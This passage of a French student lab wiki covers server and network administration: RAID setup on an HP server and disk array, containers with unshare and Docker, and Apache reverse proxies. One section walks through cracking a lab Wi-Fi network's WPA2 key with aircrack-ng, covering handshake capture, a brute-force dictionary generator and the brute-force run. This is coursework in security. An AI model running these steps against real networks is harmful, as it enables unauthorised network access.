Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdd1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48598</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48598"/>
				<updated>2018-12-11T14:51:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Utilisation de partitions virtuelles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
